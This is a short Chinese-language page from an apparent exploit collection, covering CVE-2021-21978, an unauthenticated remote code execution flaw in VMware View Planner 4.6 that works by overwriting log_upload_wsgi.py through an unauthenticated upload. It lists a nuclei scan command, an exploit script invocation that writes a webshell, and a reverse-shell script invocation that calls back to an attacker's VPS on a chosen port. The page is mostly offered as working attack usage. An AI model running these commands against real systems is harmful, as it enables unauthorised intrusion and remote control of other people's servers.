menu arrow_back 湛蓝安全空间 |狂野湛蓝，暴躁每天 chevron_right All_wiki chevron_right POChouse-main chevron_right Vmware chevron_right VMware View Planner 未授权RCE漏洞（CVE-2021-21978）
  • home 首页
  • brightness_4 暗黑模式
    • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    lightbulb_outline README

    漏洞概述

    VMware View Planner Web管理界面存在一个上传日志功能文件的入口，没有进行认证且写入的日志文件路径用户可控，通过覆盖上传日志功能文件log_upload_wsgi.py，即可实现RCE

    影响范围

    VMware View Planner 4.6

    POC

    nuclei -tags vmware -t cves/ -l urls.txt

Goby

    EXP

    1、写webshell @skytina

    python CVE-2021-21978.py https://192.168.80.3

    2、反弹shell @me1ons

    python re-shell.py -u 目标IP -v VPS-IP -p 1234